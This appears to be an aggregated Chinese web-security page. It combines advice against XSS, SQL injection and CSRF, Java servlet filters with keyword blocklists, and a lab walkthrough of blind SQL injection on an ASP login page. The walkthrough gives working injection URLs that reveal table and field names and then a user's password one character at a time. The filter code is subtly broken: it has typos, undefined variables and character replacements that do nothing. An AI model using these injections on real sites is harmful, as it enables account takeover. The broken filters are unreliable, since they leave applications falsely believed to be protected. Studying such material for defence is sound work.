精华内容
下载资源
问答
  • 2019-04-23 09:49:27
                   

    跨站脚本就是在url上带上恶意的js关键字然后脚本注入了,跨站伪造用户请求就是没有经过登陆,用超链接或者直接url上敲地址进入系统,类似于sql注入这些都是安全漏洞。


    • sql注入

    1、参数化查询预处理,如java使用PreparedStatement()处理变量。
    2、转义敏感字符及字符串(SQL的敏感字符包括“exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”,和”空格”)。
    3、屏蔽出错信息:阻止攻击者知道攻击的结果。
    4、在服务端正式处理之前对提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作。


    • 跨站脚本

    一般性建议:转义或过滤客户端提交的危险字符,客户端提交方式包含GET、POST、COOKIE、User-Agent、Referer、Accept-Language等,其中危险字符如下:
    建议转义或过滤以下字符:
    [1] |(竖线符号)
    [2] & (& 符号)
    [3];(分号)
    [4] $(美元符号)
    [5] %(百分比符号)
    [6] @(at 符号)
    [7] '(单引号)
    [8] ""(引号)
    [9] \'(反斜杠转义单引号)
    [10] \""(反斜杠转义引号)
    [11] <>(尖括号)
    [12] ()(括号)
    [13] +(加号)
    [14] CR(回车符,ASCII 0x0d)
    [15] LF(换行,ASCII 0x0a)
    [16] ,(逗号)
    [17] \(反斜杠)
    [18]  (空格)
    [19] . (点号)
    过滤以下关键字、标签:alert、img、script、document、document.title、document.write、eval、prompt、onclick、onerror、onmouseenter、onreadystatechange、confirm、javascript、String.fromCharCode、onload、DYNSRC、LOWSRC、behavior、vbscript、msgbox、mocha、livescript、expression。

    开发语言的建议:
    [1]严格控制输入:
        Asp:request
        Aspx:Request.QueryString、Form、Cookies、SeverVaiables等
        Php:$_GET、$_POST、$_COOKIE、$_SERVER、$_GlOBAL、$_REQUEST等
        Jsp:request.getParameter、request.getCookies 等
        客户端提交的变量一般从以上函数获得,严格限制提交的数据长度、类型、字符集。

    [2]严格控制输出:
        HtmlEncode:对一段指定的字符串应用HTML编码。
        UrlEncode:对一段指定的字符串URL编码。
        XmlEncode:将在XML中使用的输入字符串编码。
        XmlAttributeEncode:将在XML属性中使用的输入字符串编码 
        escape:函数可对字符串进行编码
        decodeURIComponent:返回统一资源标识符的一个已编码组件的非编码形式。
        encodeURI:将文本字符串编码为一个有效的统一资源标识符 (URI)。" "get型xss:

    • 跨站请求伪造

    方案一、存在漏洞的页面加验证码或手机短信验证 
    方案二、检测HTTP请求中的访问来源是否可信,对http头中的referer进行过滤,只允许本域站点 
    方案三、一次性令牌Token 
    添加一个参数Token,其值是随机的。这样攻击者因为不知道Token而无法构造出合法的请求进行攻击。实现方法:首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在 Session 里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,否则拒绝请求或者要求用户重新登陆验证身份。 
    Token 使用原则: 
    Token要足够随机————只有这样才算不可预测 
    Token是一次性的,即每次请求成功后要更新Token————这样可以增加攻击难度,增加预测难度 
    Token要注意保密性————敏感操作使用post,防止Token出现在URL中 
    方案四、临时cookie:对会话进行时效限制,将持久化的授权方法(例如cookie或者HTTP授权)切换为短时或瞬时的授权方法 
    方案五、session标记随机生成;确认已有的session标记无法被二次使用 
    方案六、过滤用户输入,例如论坛、博客等,不允许发布含有站内操作URL的链接(作用有限,因为可以通过qq、第三方网站进行发布,图片形式会自动加载等) 
    方案七、根据不可预测性原则,我们可以对参数进行加密从而防止CSRF攻击。"
    已解密的登录请求 对诸如用户名、密码和信用卡号之类的敏感输入字段进行加密传递
    会话定置 "COOKIE中的登陆前JSESSIONID与登陆后JESSIONID不能相同
    例如在登录页面上加上一段代码:

    request.getSession().invalidate() ;         //清空sessionif (request.getCookies()!=null) {   Cookie cookie = request.getCookies()[0];     // 获取cookie   cookie.setMaxAge(0);                    // 让cookie过期}

    • 文件上传

    [1]严格判断上传文件的类型,设置上传文件白名单,只允许上传指定类型的文件。
    [2]禁止在上传目录下执行脚本。
    [3]上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析jsp等脚本语言的目录。
    [4]上传文件要保存的文件名和目录名由系统根据时间生成,不允许用户自定义。
    [5]图片上传,要通过处理(缩略图、水印等),无异常后才能保存到服务器。"

    • jQuery跨站脚本

    "升级Jquery到1.7版本以上,或在js中修改如下行,quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/
    修改为:quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/"


    • 启用了不安全的HTTP方法

    修改web.xml,增加如下配置

    <login-config>       <!-- Authorization setting for SSL -->       <auth-method>CLIENT-CERT</auth-method>       <realm-name>Client Cert Users-only Area</realm-name>  <auth-method>BASIC</auth-method>   </login-config>   <security-constraint>       <!-- Authorization setting for SSL -->  <web-resource-collection>   <web-resource-name>SSL</web-resource-name>   <url-pattern>/oa/login.jsp</url-pattern>       </web-resource-collection>              <user-data-constraint>           <transport-guarantee>CONFIDENTIAL</transport-guarantee>       </user-data-constraint>   </security-constraint> <!-- 禁止不安全的http方法 --> <security-constraint>  <web-resource-collection>        <web-resource-name>fortune</web-resource-name>        <url-pattern>/*</url-pattern>        <http-method>PUT</http-method>        <http-method>DELETE</http-method>        <http-method>HEAD</http-method>        <http-method>OPTIONS</http-method>        <http-method>TRACE</http-method>  </web-resource-collection>  <auth-constraint></auth-constraint> </security-constraint> 


    • 登录错误消息凭证枚举

    对每个错误的登录尝试发出相同的错误消息,不管是哪个字段发生错误,特别是用户名或密码字段错误。
    文件备份 "删除备份文件。
    .arc/.bac/.backup/.bak/.bck/.copy/.old/.orig/.sav/.save/.saved/.swp/.temp/.test/.tmp/.txt"。


    以下是我自己写的一份拦截器,里面可以实现对http请求的参数拦截,解决跨站脚本注入:

    package com.asiainfo.aiga.common.filter;import java.io.IOException;import java.util.Enumeration;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.apache.commons.lang3.StringUtils;public class XSSCheckFilter implements Filterprivate FilterConfig config; private static String errorPath;//出错跳转的目的地 private static String[] excludePaths;//不进行拦截的url private static String[] safeless = { "<script", //需要拦截的JS字符关键字 "</script", "<iframe", "</iframe", "<frame", "</frame", "set-cookie", "%3cscript", "%3c/script", "%3ciframe", "%3c/iframe", "%3cframe", "%3c/frame", "src=\"javascript:", "<body", "</body", "%3cbody", "%3c/body", "alert", "script", "document", "document.title", "document.write", "eval", "prompt", "onreadystatechange", "javascript", "msgbox" //"<", //">", //"</", //"/>", //"%3c", //"%3e", //"%3c/", //"/%3e" }; public void doFilter(ServletRequest req, ServletResponse resp, FilterChain filterChain) throws IOException, ServletException {  Enumeration params = req.getParameterNames();  HttpServletRequest request = (HttpServletRequest) req;  HttpServletResponse response = (HttpServletResponse) resp;  boolean isSafe = true;  String requestUrl = request.getRequestURI();  if (isSafe(requestUrl))  {   requestUrl = requestUrl.substring(requestUrl.indexOf("/"));   if (!excludeUrl(requestUrl))   {    while (params.hasMoreElements())    {     String cache = req.getParameter((String) params.nextElement());     if (StringUtils.isNotBlank(cache))     {      if (!isSafe(cache))      {       isSafe = false;       break;      }     }    }   }  }  else  {   isSafe = false;  }  if (!isSafe)  {   request.setAttribute("msg", "There is some illegal characters in paramters.");   request.getRequestDispatcher(errorPath).forward(request, response);   return;  }  else  {   String referer = request.getHeader("referer");   if (!("/index.jsp".equals(request.getServletPath()) || "/refresh.jsp".equals(request.getServletPath())))   {    if(request.getServletPath()!=null&&request.getServletPath().endsWith(".action")){         }else if (referer == null || !referer.contains(request.getServerName()))    {     System.out.println("跨站请求伪造");     //转到一个错误的图片        request.getRequestDispatcher(errorPath).forward(request, response);    }   }  }  filterChain.doFilter(req, resp); } private static boolean isSafe(String str) {  if (StringUtils.isNotBlank(str))  {   for (String s : safeless)   {    String[] strs = str.split("/");    for (String urlStr : strs)    {     if (s.equals(urlStr.toLowerCase()))     {      return false;     }    }   }  }  return true; } private boolean excludeUrl(String url) {  if (excludePaths != null && excludePaths.length > 0)  {   for (String path : excludePaths)   {    if (url.toLowerCase().equals(path))    {     return true;    }   }  }  return false; } public void destroy() { } public void init(FilterConfig config) throws ServletException {  this.config = config;  errorPath = config.getInitParameter("errorPath");  String excludePath = config.getInitParameter("excludePaths");  if (StringUtils.isNotBlank(excludePath))  {   excludePaths = excludePath.split(",");  } }}


               
    更多相关内容
  • XSS是跨站脚本攻击(Cross Site Scripting)的缩写。为了和层叠样式表CSS(Cascading Style Sheets)加以区分,因此将跨站脚本攻击缩写为XSS。XSS是因为有些恶意攻击者往Web页面中插入恶意Script代码,当用户浏览该...

    一 . XSS跨站脚本攻击

    1、漏洞简介

    跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

    2、漏洞分类

    XSS分为:存储型 、反射型 、DOM型XSS
    存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
    反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面
    DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

    在这里插入图片描述
    在这里插入图片描述

    3、漏洞危害

    在这里插入图片描述

    4、防护建议

    <1>限制用户输入,表单数据规定值得类型,例如年龄只能是int,name为字母数字组合。
    <2>对数据进行html encode处理。
    <3>过滤或移除特殊的html标签。
    <4>过滤javascript事件的标签。

    二 . SQL注入攻击

    1、漏洞简介

    SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。
    __
    SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。

    2、漏洞危害

    1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
    2.网页篡改:通过操作数据库对特定网页进行篡改。
    3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
    4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
    5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或 控制操作系统。
    6.破坏硬盘数据,瘫痪全系统。

    3、防护建议

    <1>过滤用户输入,对用户输入输出进行校验
    <2>不使用动态拼装SQL,使用参数化的SQL或者使用存储过程进行数据查询存取。
    <3>封装异常信息
    <4>设立数据库连接分级授权

    4、mybatis中#可以有效防止sql注入

    一: #能防止sql注入, $不能

    ① 使用#: Mybatis的sql是一个具有“输入+输出”功能,类似于函数的结构,如下:

    <select id="getBlogById" resultType="Blog" parameterType=int>
           select id,title,author,content
           from blog where id=#{id}
    </select>
    
     打印出执行的sql语句,会看到sql是这样的:
    select id,title,author,content from blog where id = ?
    
    

    不管输入什么参数,打印出的sql都是这样的。这是因为mybatis启用了预编译功能,在sql执行前,会先将上面的sql发送给数据库进行编译,执行时,直接使用编译好的sql,替换占位符“?”就可以了。因为sql注入只能对编译过程起作用,所以这样的方式就很好地避免了sql注入的问题。

    mybatis是如何做到sql预编译的呢?
    其实在框架底层,是jdbc中的PreparedStatement类在起作用,PreparedStatement是我们很熟悉的Statement的子类,它的对象包含了编译好的sql语句。这种“准备好”的方式不仅能提高安全性,而且在多次执行一个sql时,能够提高效率,原因是sql已编译好,再次执行时无需再编译。

    ② 使用$:

    <select id="orderBlog" resultType="Blog" parameterType=”map”>
           select id,title,author,content
           from blog order by ${orderParam}
    </select>
    
    仔细观察,内联参数的格式由“#{xxx}”变为了${xxx}。如果我们给参数“orderParam”赋值为”id”,将sql打印出来,是这样的:
    
    select id,title,author,contet from blog order by id
    

    显然,这样是无法阻止sql注入的。在mybatis中,” x x x ” 这 样 格 式 的 参 数 会 直 接 参 与 s q l 编 译 , 从 而 不 能 避 免 注 入 攻 击 。 但 涉 及 到 动 态 表 名 和 列 名 时 , 只 能 使 用 “ {xxx}”这样格式的参数会直接参与sql编译,从而不能避免注入攻击。但涉及到动态表名和列名时,只能使用“ xxxsql使{xxx}”这样的参数格式,所以,这样的参数需要我们在代码中手工进行处理来防止注入。
    结论:在编写mybatis的映射语句时,尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数,要手工地做好过滤工作,来防止sql注入攻击。

    三. 解决方案

    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.io.PrintWriter;
    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.Calendar;
    import java.util.Date;
    import java.util.Enumeration;
    import java.util.HashMap;
    import java.util.List;
    import java.util.Locale;
    import java.util.Map;
    import java.util.Map.Entry;
    import java.util.UUID;
    
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.Cookie;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import javax.servlet.http.HttpSession;
    
    
    public class XssFilter implements Filter {  
    	
    	// 无权限警告页面
    	// private final String warnPageurl = "null";
    
        Logger log  = LoggerFactory.getLogger(this.getClass());
    
        /** 
         * 排除部分URL不做过滤 
         */   
    	// 忽略权限检查的JSP
     	private final String[] excludeUrls = new String[]{
            "null"
     			};
     	// 忽略权限检查的URL
      /*	private final String[] excludePermissionUrls = new String[]{
      			"null"
      			};*/
      
        /** 
         * 公告新增、修改用到富文本,对标签进行转义 
         */  
        // private List<String> noticeUrls = new ArrayList<String>(); 
      
        public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)  
                throws IOException, ServletException {  
    
            HttpServletRequest req = (HttpServletRequest) arg0;  
            HttpServletResponse response = (HttpServletResponse) arg1;  
            
            
            String pathInfo = req.getPathInfo() == null ? "" : req.getPathInfo();  
            //获取请求url的后两层
            String url = req.getServletPath() + pathInfo;
            //获取请求你ip后的全部路径  
            String uri = req.getRequestURI();
    //        if("".length() < 10){
    //        	arg2.doFilter(arg0, arg1);
    //        	return;
    //        }
            // boolean isNoticeUrl = false;
            // boolean isExcludePermissionUrl = false;//无需检查权限
            // req.getParameterMap();
            //注入xss过滤器实例
            XssHttpServletRequestWraper reqW = new XssHttpServletRequestWraper(req);
            
            // setHttpOnly(req,response);
            // 排除部分URL不做过滤。  
            for (String str : excludeUrls) {  
                if (uri.indexOf(str) >= 0) {  
                    arg2.doFilter(reqW, response);  
                    return;  
                }  
            }
            //忽略权限检查
            // for (String st : excludePermissionUrls) {  
            //     if (uri.indexOf(st) >= 0) {  
            //     	isExcludePermissionUrl = true;  
            //         break;  
            //     }  
            // }
            //重点检查、包含密码的参数
            // for (String st : noticeUrls) {  
            //     if (uri.indexOf(st) >= 0) {  
            //         isNoticeUrl = true;  
            //         break;  
            //     }  
            // }
           
         
            // 获取请求所有参数,校验防止SQL注入,防止XSS漏洞  
            Enumeration<?> params = req.getParameterNames();  
            String paramN = null;  
            while (params.hasMoreElements()) {  
                paramN = (String) params.nextElement();  
                String paramVale = req.getParameter(paramN);  
                // if (!paramN.toLowerCase().contains("password")) {  
                // }  
                //if (isNoticeUrl) {  
                    paramVale = xssEncode(paramVale);  
                //}  
          
                // 校验是否存在SQL注入信息  
                if (checkSQLInject(paramVale, url)) {  
                    errorResponse(response, paramN,"输入项中不能包含非法字符。");
                    log.error("输入项中不能包含非法字符! URI="+uri+";paramName="+ paramN+";paramVale="+ paramVale);
                    // System.out.println("输入项中不能包含非法字符。param="+ paramVale +";"+ uri);
                    return;  
                }  
            } 
        	arg2.doFilter(reqW, response); //bgh 2018/05/30  修改
        }  
        
        //用来响应错误信息
        private void errorResponse(HttpServletResponse response, String paramNm,String warning) throws IOException {  
        
            Map<String,Objet> map = new HashMap<>();
            map.put("code",50000);
            map.put("message",xssEncode(warning));
            map.put("paramName",paramNm);
            response.setContentType("text/json;charset=UTF-8");
            PrintWriter out = response.getWriter();
            out.write(fromObject.toString());
            out.plush();
            out.close();
        }  
      
        public void destroy() {  
        }  
      
        public void init(FilterConfig filterconfig1) throws ServletException {  
            // 读取文件  
            // String path = XssFilter.class.getResource("/").getFile();  
            // //excludeUrls = readFile(path + "xssWhite.txt");  
            // noticeUrls.add("notice!saveNotice");  
            // noticeUrls.add("notice!updateNoticeById");  
        }  
    
        //是否包含特殊字符,特殊字符替换
        private String xssEncode(String s) {  
            if (s == null || s.isEmpty()) {  
                return s;  
            }  
            //不是线程安全(不能同步访问),效率比StringBuffer高,适合在单线程下使用
            //容量大小的基础上+16字节
            StringBuilder sb = new StringBuilder(s.length() + 16);  
            for (int i = 0; i < s.length(); i++) {  
                char c = s.charAt(i);  
                switch (c) {  
                case '>':  
                    sb.append('>');// 全角大于号  
                    break;  
                case '<':  
                    sb.append('<');// 全角小于号  
                    break;  
                case '\'':  
                    sb.append('‘');// 全角单引号  
                    break;  
                case '\"':  
                    sb.append('“');// 全角双引号  
                    break;  
                case '&':  
                    sb.append('&');// 全角  
                    break;  
                case '\\':  
                    sb.append('\');// 全角斜线  
                    break;  
                case '#':  
                    sb.append('#');// 全角井号  
                    break;  
                case '(':  
                    sb.append('(');//  
                    break;  
                case ')':  
                    sb.append(')');//  
                    break;  
                case ';':  
                    sb.append(';');//  
                    break;
                default:  
                    sb.append(c);  
                    break;  
                }  
            }  
            return sb.toString();  
        }  
        
      
        /** 
         *  
         * 检查是否存在非法字符,防止SQL注入 
         *  
         * @param str 
         *            被检查的字符串 
         * @return ture-字符串中存在非法字符,false-不存在非法字符 
         */  
        public static boolean checkSQLInject(String str, String url) {  
    
            // 如果传入空串则认为不存在非法字符  
            if (StringUtils.isEmpty(str)) {  
                return false;
            }  
      
            // 判断黑名单  
            String[] inj_stra = { "script", "mid", "master", "truncate", "insert", "select", "delete", "update", "declare", "drop", "grant", 
                    "iframe", "'", "onreadystatechange", "alert", "atestu", ";", "--", "xss", " and ", " or ", "(", ")", "eval", "from dual", 
                    "\\", "svg111", "confirm", "prompt", "onload", "onmouseover", "onfocus", "onerror", "exec", "sleep" , "count" , "*" , "%" ,
                    "chr" , "char" , "+" , "roomid" , "org_no" , "cxtj" }; 
      
            str = str.toLowerCase(); // sql不区分大小写  
      
            for (int i = 0; i < inj_stra.length; i++) {  
                if (str.indexOf(inj_stra[i]) >= 0) {  
                    return true;  
                }  
            }  
            return false;  
        }  
    	
    }
    
    import java.util.HashMap;
    import java.util.Iterator;
    import java.util.Map;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletRequestWrapper;
    
    public class XssHttpServletRequestWraper extends HttpServletRequestWrapper {
    
    	Logger log  = LoggerFactory.getLogger(this.getClass());
    
    	
    	public XssHttpServletRequestWraper() {
    		super(null);
    	}
    
    	public XssHttpServletRequestWraper(HttpServletRequest httpservletrequest) {
    		super(httpservletrequest);
    	}
    
    	public String[] getParameterValues(String s) {
    		
    		String str[] = super.getParameterValues(s);
    		if (str == null) {
    			return null;
    		}
    		int i = str.length;
    		String as1[] = new String[i];
    		for (int j = 0; j < i; j++) {
    			//System.out.println("getParameterValues:"+str[j]);
    			as1[j] = cleanXSS(cleanSQLInject(str[j]));
    		}
    
    		return as1;
    	}
    
    	public String getParameter(String s) {
    		String s1 = super.getParameter(s);
    		//System.out.println("getParameter:"+s1);
    		if (s1 == null) {
    			return null;
    		} else {
    			return cleanXSS(cleanSQLInject(s1));
    		}
    	}
    	
    	//bgh 2018/05/30  新增
    	/**-----------------------start--------------------------*/
    	public Map<String,String[]> getParameterMap(){
    		HashMap<String,String[]>   paramMap = (HashMap<String,String[]>)super.getParameterMap();
    		paramMap = (HashMap<String,String[]>) paramMap.clone();
    		for(Iterator iterator = (Iterator) paramMap.entrySet().iterator();iterator.hasNext();){
    			Map.Entry<String, String[]> entry = (Map.Entry<String, String[]>) iterator.next();
    			String[] values = entry.getValue();
    			for(int i=0;i<values.length;i++){
    				if(values[i]!=null){
    					values[i] = cleanXSS(cleanSQLInject(values[i]));
    				}
    			}
    			entry.setValue(values);
    		}
    		return paramMap;
    	}
    	/**-----------------------end--------------------------*/
    	
    	public String getHeader(String s) {
    		String s1 = super.getHeader(s);
    		//System.out.println("getHeader:"+s1);
    		if (s1 == null) {
    			return null;
    		} else {
    			return cleanXSS(cleanSQLInject(s1));
    		}
    	}
    
    	public String cleanXSS(String src) {
    		String temp = src;
    
    		src = src.replaceAll("<", "<").replaceAll(">", ">");
    		src = src.replaceAll("\\(", "(").replaceAll("\\)", ")");
    		src = src.replaceAll("'", "'");
    		src = src.replaceAll(";", ";");
    		//bgh 2018/05/30  新增
    		/**-----------------------start--------------------------*/
    		src = src.replaceAll("<", "& lt;").replaceAll(">", "& gt;");
    		src = src.replaceAll("\\(", "& #40;").replaceAll("\\)", "& #41");
    		src = src.replaceAll("eval\\((.*)\\)", "");
    		src = src.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
    		src = src.replaceAll("script", "");
    		src = src.replaceAll("link", "");
    		src = src.replaceAll("frame", "");
    		/**-----------------------end--------------------------*/
    		Pattern pattern = Pattern.compile("(eval\\((.*)\\)|script)",
    				Pattern.CASE_INSENSITIVE);
    		Matcher matcher = pattern.matcher(src);
    		src = matcher.replaceAll("");
    
    		pattern = Pattern.compile("[\\\"\\'][\\s]*javascript:(.*)[\\\"\\']",
    				Pattern.CASE_INSENSITIVE);
    		matcher = pattern.matcher(src);
    		src = matcher.replaceAll("\"\"");
    
    		// 增加脚本
    		src = src.replaceAll("script", "").replaceAll(";", "")
    				/*.replaceAll("\"", "").replaceAll("@", "")*/
    				.replaceAll("0x0d", "").replaceAll("0x0a", "");
    
    		if (!temp.equals(src)) {
    			// System.out.println("输入信息存在xss攻击!");
    			// System.out.println("原始输入信息-->" + temp);
    			// System.out.println("处理后信息-->" + src);
    
    			log.error("输入信息存在xss攻击!");
    			log.error("原始输入信息-->" + temp);
    			log.error("处理后信息-->" + src);
    			//this.getSession().setAttribute("xss", "输入信息存在xss攻击!");
    			//this.setAttribute("xss", "输入信息存在xss攻击!");
    		}
    		return src;
    	}
    
    	// 需要增加通配,过滤大小写组合
    	public String cleanSQLInject(String src) {
    		String lowSrc = src.toLowerCase();
    		String temp = src;
    		String lowSrcAfter = lowSrc.replaceAll("insert ", "forbidI")
    				.replaceAll("select ", "forbidS")
    				.replaceAll("update ", "forbidU")
    				.replaceAll("delete ", "forbidD").replaceAll("and", "forbidA")
    				.replaceAll("or ", "forbidO");
    
    		if (!temp.equals(src)) {
    			// System.out.println("输入信息存在SQL攻击!");
    			// System.out.println("原始输入信息-->" + temp);
    			// System.out.println("处理后信息-->" + lowSrc);
    
    			log.error("输入信息存在SQL攻击!");
    			log.error("原始输入信息-->" + temp);
    			log.error("处理后信息-->" + lowSrc);
    			//this.getSession().setAttribute("xss", "输入信息存在xss攻击!");
    		}
    		if(lowSrcAfter.equals(lowSrc)){
    			return src;
    		}else{
    			return lowSrcAfter;
    		}
    	}
    
    }
    
    
    展开全文
  • java防止xss注入

    2016-07-15 14:39:16
    解决方案是对request请求的parameter 参数做过滤与字符转义
  • 初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。 发生模式: JavaScript注入漏洞能发生作用主要...
  • sql注入风险和案例分析

    万次阅读 2018-01-27 15:57:50
    sql注入风险和案例分析 什么是SQL注入攻击?引用百度百科的解释: sql注入_百度百科: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器...

    sql注入风险和案例分析

    什么是SQL注入攻击?引用百度百科的解释:

    sql注入_百度百科

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。[1]  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击

    SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

    详细步骤:(相关文件下载在最后

    1.针对给出的WEB系统运行AspWebServer

    2.进入登录页面进行SQL注入漏洞测试

    正常登录:

    用户名:admin 密码:admin

    SQL注入漏洞测试:

    • 在正常用户名admin后增加一个单引号,单击"登录"
    • 或在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin
    • 若出错,证明没有对'进行过滤,存在SQL注入漏洞

    在正常用户名admin后增加一个单引号,单击"登录"

    出错

    在URL地址栏直接输入http://172.18.3.13:81/login.asp?name=admin'&pass=admin

    登录出错

     

    登录出错,证明存在SQL注入漏洞。

    3.SQL注入攻击

    构造可以正常运行的目标地址

    • 输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1
    • 原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
    • 登录失败

    • 输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
    • 原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
    • 登录成功

    可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试

     

    4. 猜解数据库表名

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

    • 成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

     

    5. 猜解数据库字段名

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
    • 若用户名字段确为uname,则提示登录成功
    • 同理可猜出密码字段为upass

    猜测用户名字段为name,登录出错

    猜测用户名字段为uname,登录成功

    说明数据库中用户名字段为uname

    猜测密码字段为upass,登录成功

    说明数据库中密码字段为upass

     

    6.猜解密码长度

    • 已知有一用户名为"wucm",首先猜其密码长度大于1
    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

    成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

    成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

    出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

    出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

    成功,说明"wucm"的密码长度为6位

     

    7.猜解密码

    根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

    首先测试第一位是否为数字

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

    出错,说明密码第一位不是数字, 测试是否位字母

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

    成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"

    • http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

    成功,说明密码第一位位"w"

     

    同理对6位密码逐位进行猜测,最后得到密码为"wcm987"

     

    至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:

    登录成功,证明整个猜测过程和最后得出的密码都是正确的


     

    防范SQL注入攻击的方法:

    既然SQL注入式攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对数据库管理员防治SQL注入式攻击有一定的帮助。
